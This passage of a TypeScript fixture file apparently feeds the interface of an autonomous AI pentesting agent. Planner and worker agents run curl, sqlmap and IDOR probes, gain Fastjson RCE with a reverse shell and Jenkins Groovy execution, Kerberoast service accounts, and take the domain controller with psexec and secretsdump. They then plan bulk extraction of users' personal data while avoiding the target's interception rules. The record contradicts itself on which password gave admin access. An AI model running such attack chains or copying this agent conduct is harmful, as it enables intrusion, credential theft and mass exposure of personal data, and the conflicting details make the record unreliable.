state: "open",
origin: "work#9",
ts: T("2026-07-25T21:00:00Z"),
},
{
id: "fa8",
type: "fact",
payload: P({ summary: "The JENKINS /script console is unauthenticated and executes Groovy directly" }),
priority: 0,
state: "open",
origin: "work#11",
ts: T("2026-07-25T21:45:00Z"),
},
{
id: "fa9",
type: "fact",
payload: P({ summary: "Exported the plaintext password of domain account acme\\svc_deploy from the Jenkins credentials store" }),
priority: 0,
state: "open",
origin: "work#11",
ts: T("2026-07-25T22:10:00Z"),
},
{
id: "fa10",
type: "fact",
payload: P({ summary: "Kerberoasted svc_sql's TGS; hashcat cracked the password Sql@2020" }),
priority: 0,
state: "open",
origin: "work#12",
ts: T("2026-07-25T23:20:00Z"),
},
// ── Findings ──
{
id: "fi1",
type: "finding",
payload: P({ summary: "Admin console default credentials admin/admin123" }),
priority: 0,
state: "confirmed",
origin: "work#2",
ts: T("2026-07-26T03:50:00Z"),
},
{
id: "fi2",
type: "finding",
payload: P({ summary: "SQL injection (search q) can read the acme_prod database" }),
priority: 0,
state: "confirmed",
origin: "work#4",
ts: T("2026-07-26T01:20:00Z"),
},
{
id: "fi3",
type: "finding",
payload: P({ summary: "IDOR: /v1/orders?id= can read other users' orders" }),
priority: 0,
state: "confirmed",
origin: "work#5",
ts: T("2026-07-26T02:44:00Z"),
},
{
id: "fiSrc",
type: "finding",
payload: P({ summary: "Source leak + hardcoded database credentials (sa/Acme@2021)" }),
priority: 0,
state: "confirmed",
origin: "workG",
ts: T("2026-07-25T20:36:00Z"),
},
{
id: "fiRce",
type: "finding",
payload: P({ summary: "shop Fastjson deserialization RCE; server command execution obtained" }),
priority: 0,
state: "confirmed",
origin: "work#7",
ts: T("2026-07-25T15:40:00Z"),
},
{
id: "fiPriv",
type: "finding",
payload: P({ summary: "Local privilege escalation to root on the DMZ foothold (sudo NOPASSWD misconfiguration)" }),
priority: 0,
state: "confirmed",
origin: "work#8",
ts: T("2026-07-25T16:20:00Z"),
},
{
id: "fiJenkins",
type: "finding",
payload: P({ summary: "Unauthenticated Groovy on the internal Jenkins → server RCE" }),
priority: 0,
state: "confirmed",
origin: "work#11",
ts: T("2026-07-25T21:50:00Z"),
},
{
id: "fiKerb",
type: "finding",
payload: P({ summary: "Kerberoasting cracked the domain service account svc_sql's password" }),
priority: 0,
state: "confirmed",
origin: "work#12",
ts: T("2026-07-25T23:20:00Z"),
},
{
id: "fiDC",
type: "finding",
payload: P({ summary: "Domain controller DC01 taken (Domain Admin) — internal target met" }),
priority: 0,
state: "confirmed",
origin: "work#13",
ts: T("2026-07-26T00:20:00Z"),
},
// ── Hints (injected by the main agent) ──
{
id: "h1",
type: "hint",
payload: P({ summary: "The admin console is Element-UI; run the default credential list first" }),
priority: 5,
state: "consumed",
origin: "mainagent",
ts: T("2026-07-26T03:20:00Z"),
},
{
id: "h2",
type: "hint",
payload: P({ summary: "Attack Jenkins first internally: unauthenticated /script gives direct Groovy RCE" }),
priority: 6,
state: "consumed",
origin: "mainagent",
ts: T("2026-07-25T21:20:00Z"),
},
{
id: "h3",
type: "hint",
payload: P({ summary: "Spray the DB credentials from the source internally; likely shared" }),
priority: 6,
state: "consumed",
origin: "mainagent",
ts: T("2026-07-25T23:10:00Z"),
},
],
edges: [
// Root → goal
{ src: "root", dst: "g1", rel: "spawns" },
{ src: "root", dst: "g2", rel: "spawns" },
{ src: "root", dst: "g3", rel: "spawns" },
{ src: "root", dst: "g4", rel: "spawns" },
// Goal → intent
{ src: "g1", dst: "i1", rel: "spawns" },
{ src: "g1", dst: "i2", rel: "spawns" },
{ src: "g1", dst: "i3", rel: "spawns" },
{ src: "g2", dst: "i4", rel: "spawns" },
{ src: "g2", dst: "i5", rel: "spawns" },
{ src: "g2", dst: "ig", rel: "spawns" },
{ src: "g3", dst: "i6", rel: "spawns" },
{ src: "g3", dst: "i7", rel: "spawns" },
{ src: "g3", dst: "i8", rel: "spawns" },
{ src: "g4", dst: "i9", rel: "spawns" },
{ src: "g4", dst: "i10", rel: "spawns" },
{ src: "g4", dst: "i11", rel: "spawns" },
{ src: "g4", dst: "i12", rel: "spawns" },
{ src: "g4", dst: "i13", rel: "spawns" },
// Intent → fact / finding (yields)
{ src: "i1", dst: "fa1", rel: "yields" },
{ src: "i4", dst: "fa2", rel: "yields" },
{ src: "i2", dst: "fi1", rel: "yields" },
{ src: "i4", dst: "fi2", rel: "yields" },
{ src: "i5", dst: "fi3", rel: "yields" },
{ src: "ig", dst: "faGit", rel: "yields" },
{ src: "ig", dst: "faCreds", rel: "yields" },
{ src: "ig", dst: "fiSrc", rel: "yields" },
{ src: "i6", dst: "fa3", rel: "yields" },
{ src: "i7", dst: "fa4", rel: "yields" },
{ src: "i7", dst: "fiRce", rel: "yields" },
{ src: "i8", dst: "fa5", rel: "yields" },
{ src: "i8", dst: "fiPriv", rel: "yields" },
{ src: "i9", dst: "fa6", rel: "yields" },
{ src: "i9", dst: "fa7", rel: "yields" },
{ src: "i11", dst: "fa8", rel: "yields" },
{ src: "i11", dst: "fa9", rel: "yields" },
{ src: "i11", dst: "fiJenkins", rel: "yields" },
{ src: "i12", dst: "fa10", rel: "yields" },
{ src: "i12", dst: "fiKerb", rel: "yields" },
{ src: "i13", dst: "fiDC", rel: "yields" },
// Fact → new intent (fact-driven layering)
{ src: "fa3", dst: "i7", rel: "derived_from" },
{ src: "fa4", dst: "i8", rel: "derived_from" },
{ src: "fa4", dst: "i9", rel: "derived_from" },
{ src: "faCreds", dst: "i10", rel: "derived_from" },
{ src: "fa7", dst: "i11", rel: "derived_from" },
{ src: "fa7", dst: "i12", rel: "derived_from" },
{ src: "fa9", dst: "i13", rel: "derived_from" },
{ src: "fa10", dst: "i13", rel: "derived_from" },
// Hint → intent
{ src: "h1", dst: "i2", rel: "derived_from" },
{ src: "h2", dst: "i11", rel: "derived_from" },
{ src: "h3", dst: "i10", rel: "derived_from" },
// Finding → proves the goal is met
{ src: "fi1", dst: "g1", rel: "proves" },
{ src: "fiRce", dst: "g3", rel: "proves" },
{ src: "fiDC", dst: "g4", rel: "proves" },
],
};
export const intents: TaskNode[] = explorationGraph.nodes.filter((n) => n.type === "intent");
export const frontier: TaskNode[] = explorationGraph.nodes.filter(
(n) => n.type === "intent" && (n.state === "open" || n.state === "running"),
);
// ── Activity (execution process)─────────────────────────────────────────────────────
// Sessions are derived from "intents" by sessions-tab (session.id = intent.id); transcript = the activity stream matching
// the intent_id. planner = worker "planner", main agent = worker "mainagent".
// Each worker session contains the full tool execution chain (tool_use → tool_result → …→ result).
export const activity: Activity[] = [
// planner — the full decision chain each round: read the situation → pull worker outputs for comparison → judge goals → dispatch direction via add_intent
// ── Round 0 · Goal decomposition and the first intents (2026-07-24 09:12) ──
{ seq: 1000, worker: "planner", ts: T("2026-07-24T09:12:10Z"), kind: "round", summary: "Round 0 · Goal decomposition" },
{
seq: 1001,
worker: "planner",
ts: T("2026-07-24T09:12:25Z"),
kind: "thinking",
summary:
"graph_overview: goals are already decomposed by the goal layer — g1 'Gain admin access to acme.com', g2 'Read user sensitive data', both open; facts=0, recent_facts is empty (the graph is essentially blank, with no worker output yet). Assets in scope are just the root domain acme.com + one /24 segment. Initial attack-surface read: five entries — www / admin / api / shop / vpn. There is no fact in the graph, so I can only do [ultra-light read-only probing] to make the initial intents concrete, and never do the actual work in a plan.",
},
{
seq: 1002,
worker: "planner",
ts: T("2026-07-24T09:12:40Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "p0-probe",
summary: "curl -sI https://acme.com; curl -sI https://admin.acme.com",
detail: "The opening situation is nearly blank; do ≤3 read-only probes to calibrate the initial intent directions (no enumeration/validation — that is the worker's job).",
},
{
seq: 1003,
worker: "planner",
ts: T("2026-07-24T09:12:52Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "p0-probe",
summary:
"acme.com → 302 → www; Server: nginx/1.24.0\nadmin.acme.com → 200, X-Powered-By absent, body matches element-ui/vue fingerprints",
detail: "admin is a standalone admin login page; the five entries are confirmed valid, so the initial intent descriptions can be made precise.",
},
{
seq: 1004,
worker: "planner",
ts: T("2026-07-24T09:13:00Z"),
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p0-ai",
summary: "add_intent × 4 (batch-dispatch the first exploration directions)",
detail:
"intents=[\n { summary: 'Full subdomain enumeration of acme.com + port/service identification of alive hosts to map the attack surface', asset_ids: [acme.com], priority: 6 },\n { summary: 'admin.acme.com admin console default/weak credential testing (Element-UI login, no captcha)', asset_ids: [admin], priority: 9 },\n { summary: 'SQL injection probing of the www.acme.com/search q parameter', asset_ids: [www], priority: 8 },\n { summary: 'api.acme.com order API authorization bypass (IDOR) testing', asset_ids: [api], priority: 8 },\n]\nparent_ids all empty (brand-new top-level directions, fall back to linking the origin fact).",
},
{
seq: 1005,
worker: "planner",
ts: T("2026-07-24T09:13:02Z"),
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p0-ai",
summary: "4 intents created → ids=[i1, i2, i4, i5], linked into the frontier",
detail: "Deliberately keeping the routes diverse: i1 reconnaissance + i2 (g1 credential route) + i4/i5 (g2 data route), two independent mechanisms in parallel to avoid premature convergence.",
},
{
seq: 1006,
worker: "planner",
ts: T("2026-07-24T09:13:05Z"),
kind: "text",
summary:
"This round derived the first 4 intents: i1 asset reconnaissance, i2 admin credentials, i4 injection, i5 API authorization bypass. g1 goes through i2 and g2 through i4/i5; both goals have independent entries in progress. Escalate along lineage once workers produce facts.",
},
// ── Round 1 · Attack surface escalation (2026-07-25 14:12) ──
{ seq: 1100, worker: "planner", ts: T("2026-07-25T14:12:00Z"), kind: "round", summary: "Round 1 · Attack surface escalation" },
{
seq: 1101,
worker: "planner",
ts: T("2026-07-25T14:12:15Z"),
kind: "thinking",
summary:
"Comparing recent_facts: workG returned faGit '.git is downloadable; git-dumper recovered the backend source' and faCreds 'config.php hardcodes sa/Acme@2021 (suspected shared internally)'; work#6's fingerprinting returned fa3 'shop matched Fastjson 1.2.24 (known deserialization RCE)'. Two [materially new mechanisms]: (1) the hardcoded DB password may be reused across the internal network; (2) Fastjson has a mature RCE playbook. This opens an entry [essentially different] from the existing credential/injection routes — breaking into the DMZ directly via RCE on shop. Pull faGit details first to verify the artifacts.",
},
{
seq: 1102,
worker: "planner",
ts: T("2026-07-25T14:12:28Z"),
kind: "tool_use",
tool: "node_detail",
tool_use_id: "p1-nd",
summary: "node_detail(faGit) — verifying workG's source recovery artifacts",
detail: "Before add_intent, check what the worker actually recovered, to avoid guessing directions from fingerprints.",
},
{
seq: 1103,
worker: "planner",
ts: T("2026-07-25T14:12:35Z"),
kind: "tool_result",
tool: "node_detail",
tool_use_id: "p1-nd",
summary:
"faGit evidence: git-dumper recovered config.php / db.php / order_api.php; config.php contains $db=['host'=>'10.10.10.5','user'=>'sa','pass'=>'Acme@2021']",
detail: "The hardcoding points to the internal 10.10.10.5 (FS01), corroborating faCreds' 'shared internally' inference — the credentials are worth reusing once the RCE lands.",
},
{
seq: 1104,
worker: "planner",
ts: T("2026-07-25T14:12:50Z"),
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p1-ai",
summary: "add_intent × 2 (Fastjson breakthrough chain; serial steps, dispatch the executable step first)",
detail:
"intents=[\n { summary: 'Deep-dive shop.acme.com component fingerprinting + precise Fastjson 1.2.24 CVE correlation (confirm the gadget chain)', asset_ids: [shop], parent_ids: [fa3], priority: 7 },\n { summary: 'Build a Fastjson deserialization payload to trigger the shop RCE and obtain a reverse shell', asset_ids: [shop], parent_ids: [fa3], priority: 9 },\n]\nNote: this is a strongly dependent serial chain; TodoWrite already recorded the three steps 'fingerprint → RCE → foothold escalation', and this round dispatches only the first two (escalation depends on the shell output, dispatch next round).",
},
{
seq: 1105,
worker: "planner",
ts: T("2026-07-25T14:12:52Z"),
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p1-ai",
summary: "2 intents created → ids=[i6, i7], linked into lineage via fa3",
},
{
seq: 1106,
worker: "planner",
ts: T("2026-07-25T14:13:00Z"),
kind: "text",
summary:
"Situation escalated: source code + hardcoded internal credentials + Fastjson RCE form a brand-new breakthrough route. The goal layer has been asked to register g3 'Break through the DMZ from the outside and establish an internal foothold', dispatching i6 (fingerprint/CVE correlation) and i7 (trigger the RCE). The DMZ escalation step depends on the shell and is recorded as a todo for the next round.",
},
// ── Round 2 · Foothold established, pivoting internal (2026-07-25 20:25) ──
{
seq: 1200,
worker: "planner",
ts: T("2026-07-25T20:25:00Z"),
kind: "round",
summary: "Round 2 · Foothold established, pivoting internal",
},
{
seq: 1201,
worker: "planner",
ts: T("2026-07-25T20:25:18Z"),
kind: "thinking",
summary:
"Comparing lineage: i7 returned fa4 'reverse shell www-data@dmz-web01(10.0.20.15), in the DMZ segment'; the escalation chain returned fa5 'sudo -l matched NOPASSWD python3 → escalation to root possible' and fa6 'the foothold's second NIC connects directly to the internal 10.10.10.0/24'. g3's acceptance conditions (break through the DMZ + establish a foothold) are directly satisfied by fa4+fa6. Verify fa6's internal reachability first, then prove_goal.",
},
{
seq: 1202,
worker: "planner",
ts: T("2026-07-25T20:25:30Z"),
kind: "tool_use",
tool: "node_detail",
tool_use_id: "p2-nd",
summary: "node_detail(fa6) — confirming dual NICs and internal reachability",
},
{
seq: 1203,
worker: "planner",
ts: T("2026-07-25T20:25:38Z"),
kind: "tool_result",
tool: "node_detail",
tool_use_id: "p2-nd",
summary: "fa6 evidence: ip a → eth0 10.0.20.15 (DMZ) / eth1 10.10.10.15 (internal); ping 10.10.10.10 succeeds, crossing the DMZ boundary confirmed",
},
{
seq: 1204,
worker: "planner",
ts: T("2026-07-25T20:25:50Z"),
kind: "tool_use",
tool: "prove_goal",
tool_use_id: "p2-pg",
summary: "prove_goal(g3, evidence=fa6)",
detail:
"reason: i7's RCE gained the DMZ foothold (fa4), fa5 escalated to root, and fa6 proved the second NIC connects directly to the internal network and can ping DC01 — the acceptance for 'Break through the DMZ and establish an internal foothold' is met.",
},
{
seq: 1205,
worker: "planner",
ts: T("2026-07-25T20:25:52Z"),
kind: "tool_result",
tool: "prove_goal",
tool_use_id: "p2-pg",
summary: "goal g3 → met (evidence fa6 linked); g1/g2/g4 still unmet, the task continues",
},
{
seq: 1206,
worker: "planner",
ts: T("2026-07-25T20:26:10Z"),
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p2-ai",
summary: "add_intent × 4 (expand internal lateral movement with the foothold as pivot)",
detail:
"intents=[\n { summary: 'Use dmz-web01 as pivot for host discovery and port identification on the internal 10.10.10.0/24', asset_ids: [dmz-web01], parent_ids: [fa6], priority: 8 },\n { summary: 'Internal lateral movement: reuse the hardcoded password sa/Acme@2021 for credential reuse and password spraying', parent_ids: [faCreds], priority: 8 },\n { summary: 'Unauthenticated /script Groovy execution (RCE) on the internal Jenkins(10.10.10.20)', parent_ids: [fa6], priority: 9 },\n { summary: 'Kerberoast domain service accounts and crack them offline', parent_ids: [fa6], priority: 8 },\n]\nHost discovery is a prerequisite (dispatched first); the other three are parallel lateral exploration dimensions.",
},
{
seq: 1207,
worker: "planner",
ts: T("2026-07-25T20:26:12Z"),
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p2-ai",
summary: "4 intents created → ids=[i9, i10, i11, i12]",
},
{
seq: 1208,
worker: "planner",
ts: T("2026-07-25T20:26:20Z"),
kind: "text",
summary:
"g3 met; the attack surface moves from external to internal. Registered g4 'Move laterally internally and take the internal target domain controller DC01', dispatching i9 (host discovery) + three parallel lateral tracks i10/i11/i12. Credential reuse is anchored directly on faCreds — the password leaked from external source code feeds internal lateral movement.",
},
// ── Round 3 · Target-met retrospective (2026-07-26 00:25) ──
{ seq: 1300, worker: "planner", ts: T("2026-07-26T00:25:00Z"), kind: "round", summary: "Round 3 · Target-met retrospective" },
{
seq: 1301,
worker: "planner",
ts: T("2026-07-26T00:25:16Z"),
kind: "thinking",
summary:
"Comparing this round's worker output: i9→fa7 'alive internally: DC01/FS01/JENKINS'; i11→fa8 'Jenkins /script unauthenticated Groovy' + fa9 'exported the plaintext password of acme\\svc_deploy from the Jenkins credentials store'; i12→fa10 'Kerberoasted the svc_sql TGS, hashcat cracked Sql@2020'. svc_deploy is in Domain Admins; i13 used it to take DC01 with psexec and secretsdump. g4's acceptance (take DC01) should be met — verify the finding evidence chain before stamping it.",
},
{
seq: 1302,
worker: "planner",
ts: T("2026-07-26T00:25:30Z"),
kind: "tool_use",
tool: "list_findings",
tool_use_id: "p3-lf",
summary: "list_findings — verifying the confirmed evidence of DC01's fall",
},
{
seq: 1303,
worker: "planner",
ts: T("2026-07-26T00:25:40Z"),
kind: "tool_result",
tool: "list_findings",
tool_use_id: "p3-lf",
summary:
"F-09 'Full control of domain controller DC01 / secretsdump exported all domain hashes' critical (evidence: psexec svc_deploy@10.10.10.10 + NTDS.dit dump); the upstream chain fa9→fa10→i13 is complete",
},
{
seq: 1304,
worker: "planner",
ts: T("2026-07-26T00:25:52Z"),
kind: "tool_use",
tool: "prove_goal",
tool_use_id: "p3-pg",
summary: "prove_goal(g4, evidence=F-09)",
detail:
"reason: Jenkins leaked svc_deploy (Domain Admin) → psexec controlled DC01 → secretsdump on all domain hashes; F-09 is confirmed and 'Take the internal target domain controller DC01' is met.",
},
{
seq: 1305,
worker: "planner",
ts: T("2026-07-26T00:25:54Z"),
kind: "tool_result",
tool: "prove_goal",
tool_use_id: "p3-pg",
summary: "goal g4 → met; system hint: g2 is still open, not the last goal, so the task is not fully wrapped up",
},
{
seq: 1306,
worker: "planner",
ts: T("2026-07-26T00:26:10Z"),
kind: "text",
summary:
"g4 wrapped up and the external-internal chain is fully connected (external RCE → DMZ → internal → domain controller). Comparing uncovered directions one by one: g2 'Read user sensitive data' still lacks the final step, but the existing i3 (admin user APIs) + i5 (API IDOR) already cover that direction and both are running. No [essentially different uncovered new direction] this round — 0 new intents per the restraint principle; wait for i3/i5 output.",
},
// ── Round 4 · Admin goal met, converging on g2 (2026-07-26 03:55) ──
{
seq: 1400,
worker: "planner",
ts: T("2026-07-26T03:55:00Z"),
kind: "round",
summary: "Round 4 · Admin goal met, converging on g2",
},
{
seq: 1401,
worker: "planner",
ts: T("2026-07-26T03:55:14Z"),
kind: "thinking",
summary:
"Comparing recent_facts: work#2 used Acme@2021 from faCreds to break into the admin console (i2 done); admin access is in hand — g1's acceptance is met, so prove_goal stamps it first. Then a [quantitative acceptance check]: g2 'Read user sensitive data' currently only has i3/i5 touching the API surface without actually obtaining bulk data; measured as not met, prove_goal is [forbidden] — instead raise priorities and supplement data-retrieval intents.",
},
{
seq: 1402,
worker: "planner",
ts: T("2026-07-26T03:55:26Z"),
kind: "tool_use",
tool: "prove_goal",
tool_use_id: "p4-pg",
summary: "prove_goal(g1, evidence=fa1)",
detail:
"reason: i2 used the externally leaked hardcoded password Acme@2021 to log into the admin console (Element-UI) and obtained admin access; g1 is met.",
},
{
seq: 1403,
worker: "planner",
ts: T("2026-07-26T03:55:28Z"),
kind: "tool_result",
tool: "prove_goal",
tool_use_id: "p4-pg",
summary: "goal g1 → met; remaining unmet: g2",
},
{
seq: 1404,
worker: "planner",
ts: T("2026-07-26T03:55:40Z"),
kind: "thinking",
summary:
"g2 quantitative check: the goal's 'Read user sensitive data' = actually obtaining bulk user records. findings in graph_overview has no 'user data exported' entry yet, and i3/i5 are both running with no retrieval results back — measured as not met. Marking met early on 'the console is entered, broadly done' is strictly forbidden; keep dispatching intents to close the gap.",
},
{
seq: 1405,
worker: "planner",
ts: T("2026-07-26T03:55:52Z"),
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p4-ai",
summary: "add_intent × 2 (converge on g2 data retrieval, raise priority)",
detail:
"intents=[\n { summary: 'Logged into the admin console; enumerate user management/export APIs and pull user sensitive fields in bulk', asset_ids: [admin], parent_ids: [fa1], priority: 9 },\n { summary: 'api.acme.com order IDOR: iterate order_id to pull user orders/PII in bulk', asset_ids: [api], parent_ids: [fa2], priority: 9 },\n]\nNote: i3/i5 are already running; this round escalates with more precise retrieval descriptions + raised priorities (→9) instead of duplicating synonymous intents.",
},
{
seq: 1406,
worker: "planner",
ts: T("2026-07-26T03:55:54Z"),
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p4-ai",
summary: "2 intents updated → ids=[i3, i5] (priority raised to 9, descriptions refined to 'bulk data retrieval')",
},
{
seq: 1407,
worker: "planner",
ts: T("2026-07-26T03:55:58Z"),
kind: "text",
summary:
"g1 met (3 of 4 already met: g1/g3/g4). g2 strictly follows quantitative acceptance — merely entering the console does not count; bulk user data must be obtained before stamping it; i3/i5 are raised to priority 9 and refined into retrieval intents, and the whole task wraps up once workers report back.",
},
// work#1 · i1 subdomain enumeration and port scanning (done)
{
seq: 10,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:20:00Z"),
kind: "thinking",
summary: "First passively recon subdomains, then identify ports/services on alive hosts.",
},
{
seq: 11,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:20:30Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t11",
summary: "subfinder -d acme.com -silent | httpx -silent -sc -title",
},
{
seq: 12,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:22:10Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t11",
summary:
"www.acme.com [200] Acme Corp\nadmin.acme.com [200] Acme Admin Login\napi.acme.com [401]\nshop.acme.com [200]\nvpn.acme.com [200]",
detail: "5 alive subdomains; admin is the admin login page.",
},
{
seq: 13,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:23:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t12",
summary: "nmap -sV -T4 -p- 203.0.113.10",
},
{
seq: 14,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:26:40Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t12",
summary: "22/tcp ssh OpenSSH 8.9p1\n80/tcp http nginx 1.24.0\n443/tcp https nginx 1.24.0",
detail: "Ports 22/80/443 open.",
},
{
seq: 15,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:27:00Z"),
kind: "tool_use",
tool: "upsert_asset",
tool_use_id: "t13",
summary: "upsert_asset × 6 (subdomains + services)",
},
{
seq: 16,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:27:01Z"),
kind: "tool_result",
tool: "upsert_asset",
tool_use_id: "t13",
summary: "6 assets upserted",
},
{
seq: 17,
worker: "work#1",
intent_id: "i1",
ts: T("2026-07-24T09:40:00Z"),
kind: "result",
summary: "Asset reconnaissance complete; the admin console admin.acme.com was discovered and handed back to the graph.",
input_tokens: 96000,
output_tokens: 6100,
cache_read_tokens: 61000,
cache_write_tokens: 9000,
},
// work#2 · i2 admin default credentials (done, proves g1)
{
seq: 20,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:31:00Z"),
kind: "thinking",
summary: "The admin console is Element-UI; the login endpoint has no captcha and no rate limit. Try the default credential list first, then dictionaries.",
},
{
seq: 21,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:32:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t21",
summary: "curl -s -d 'username=admin&password=admin' https://admin.acme.com/login -o /dev/null -w '%{http_code}'",
},
{
seq: 22,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:32:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t21",
summary: "401",
detail: "admin/admin failed.",
},
{
seq: 23,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:32:30Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t22",
summary: "curl -si -d 'username=admin&password=admin123' https://admin.acme.com/login",
},
{
seq: 24,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:32:33Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t22",
summary: "HTTP/1.1 302 Found\nSet-Cookie: session=eyJ…; HttpOnly\nLocation: /dashboard",
detail: "admin/admin123 logged in successfully; session cookie obtained.",
},
{
seq: 25,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:33:10Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t23",
summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/dashboard | grep -o '<title>[^<]*'",
},
{
seq: 26,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:33:12Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t23",
summary: "<title>Acme Admin · Console",
detail: "Confirmed inside the admin console.",
},
{
seq: 27,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:34:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t24",
summary: "report_finding(Default Credentials, high)",
},
{
seq: 28,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:34:01Z"),
kind: "tool_result",
tool: "report_finding",
tool_use_id: "t24",
summary: "finding f-6 recorded and linked to goal g1 (proves)",
},
{
seq: 29,
worker: "work#2",
intent_id: "i2",
ts: T("2026-07-26T03:50:00Z"),
kind: "result",
summary: "Admin default credentials confirmed; goal (1) met.",
input_tokens: 72000,
output_tokens: 4800,
cache_read_tokens: 48000,
cache_write_tokens: 7200,
},
// work#4 · i4 SQL injection (done)
{
seq: 40,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-25T22:01:00Z"),
kind: "thinking",
summary: "The search?q= result page concatenates q into the title; add a single quote manually first to see the error.",
},
{
seq: 41,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-25T22:02:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t41",
summary: "curl -s \"https://www.acme.com/search?q=1'\" | grep -i 'sql\\|syntax'",
},
{
seq: 42,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-25T22:02:04Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t41",
summary: "Unclosed quotation mark ... near '1'.",
detail: "Signs of MSSQL error-based injection.",
},
{
seq: 43,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-25T22:03:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t42",
summary: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs --level 2",
},
{
seq: 44,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-26T01:18:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t42",
summary:
"Parameter: q (GET) — error-based, MSSQL\navailable databases [4]: acme_prod, information_schema, master, tempdb",
detail: "Injection confirmed; 4 databases enumerated.",
},
{
seq: 45,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-26T01:19:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t43",
summary: "report_finding(SQL Injection, high)",
},
{
seq: 46,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-26T01:19:01Z"),
kind: "tool_result",
tool: "report_finding",
tool_use_id: "t43",
summary: "finding f-1 recorded",
},
{
seq: 47,
worker: "work#4",
intent_id: "i4",
ts: T("2026-07-26T01:20:00Z"),
kind: "result",
summary: "SQL injection confirmed.",
input_tokens: 118000,
output_tokens: 7400,
cache_read_tokens: 82000,
cache_write_tokens: 11000,
},
// work#5 · i5 IDOR (running)
{
seq: 50,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:31:00Z"),
kind: "thinking",
summary: "/v1/orders?id= is a numeric auto-increment id, a typical IDOR surface. Fetch your own order first, then change the id to see if others' can be read.",
},
{
seq: 51,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:40:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t51",
summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1001",
},
{
seq: 52,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:40:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t51",
summary: '{ "order_id":1001, "user_id":42, "amount":299 }',
detail: "My own order, as normal.",
},
{
seq: 53,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:43:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t52",
summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1002",
},
{
seq: 54,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:43:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t52",
summary: '{ "order_id":1002, "user_id":77, "amount":1299, "phone":"138****6021", "address":"Chaoyang, Beijing ****" }',
detail: "Read another user's order without authorization (including phone/address); no ownership check.",
},
{
seq: 55,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:44:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t53",
summary: "report_finding(IDOR, high)",
},
{
seq: 56,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T02:44:01Z"),
kind: "tool_result",
tool: "report_finding",
tool_use_id: "t53",
summary: "finding f-2 recorded",
},
{
seq: 57,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T03:58:10Z"),
kind: "thinking",
summary: "Iterating the id range in bulk to size the unauthorized data exposure (not exporting yet, to avoid triggering interception rules).",
},
// work#3 · i3 admin user API enumeration (running)
{
seq: 60,
worker: "work#3",
intent_id: "i3",
ts: T("2026-07-26T03:56:00Z"),
kind: "thinking",
summary: "With an admin session in hand, enumerate management APIs to find an entry that can bulk-export user sensitive data (goal 2).",
},
{
seq: 61,
worker: "work#3",
intent_id: "i3",
ts: T("2026-07-26T03:57:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t61",
summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/api/users?page=1",
},
{
seq: 62,
worker: "work#3",
intent_id: "i3",
ts: T("2026-07-26T03:57:02Z"),
kind: "tool_result",
tool: "bash",
